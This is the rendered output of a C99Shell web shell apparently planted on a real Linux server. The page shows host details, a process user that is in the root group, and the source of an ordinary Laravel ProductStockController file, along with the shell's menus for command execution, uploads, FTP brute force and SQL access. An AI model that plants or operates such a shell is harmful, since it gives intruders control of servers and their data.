!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductStockController.php (3.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\ProductService;
use 
App\Models\ProductStock;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;

class 
ProductStockController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        if(!
check_product_system()){
            return 
abort('404');
        }

        if(
\Auth::user()->can('manage product & service'))
        {

            
$productServices ProductService::where('created_by''='\Auth::user()->creatorId())->where('type''=''product')->get();


            return 
view('productstock.index'compact('productServices'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        
//
    
}

    
/**
     * Store a newly created resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     *
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {


    }


    
/**
     * Display the specified resource.
     *
     * @param \App\Models\ProductStock $productStock
     *
     * @return \Illuminate\Http\Response
     */
    
public function show(ProductStock $productStock)
    {
        
//
    
}

    
/**
     * Show the form for editing the specified resource.
     *
     * @param \App\Models\ProductStock $productStock
     *
     * @return \Illuminate\Http\Response
     */
    
public function edit($id)
    {
        
$productService ProductService::find($id);
        if(
\Auth::user()->can('edit product & service'))
        {
            if(
$productService->created_by == \Auth::user()->creatorId())
            {
                return 
view('productstock.edit'compact('productService'));
            }
            else
            {
                return 
response()->json(['error' => __('Permission denied.')], 401);
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }


    
/**
     * Update the specified resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     * @param \App\Models\ProductStock $productStock
     *
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        if(
\Auth::user()->can('edit product & service'))
        {
            
$productService ProductService::find($id);
            
$total $productService->quantity $request->quantity;

            if(
$productService->created_by == \Auth::user()->creatorId())
            {
                
$productService->quantity   $total;
                
$productService->created_by \Auth::user()->creatorId();
                
$productService->save();

                
//Product Stock Report
                
$type        'manually';
                
$type_id     0;
                
$description $request->quantity '  ' __('quantity added by manually');
                
Utility::addProductStock($productService->id$request->quantity$type$description$type_id);


                return 
redirect()->route('productstock.index')->with('success'__('Product quantity updated manually.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param \App\Models\ProductStock $productStock
     *
     * @return \Illuminate\Http\Response
     */
    
public function destroy(ProductStock $productStock)
    {
        
//
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--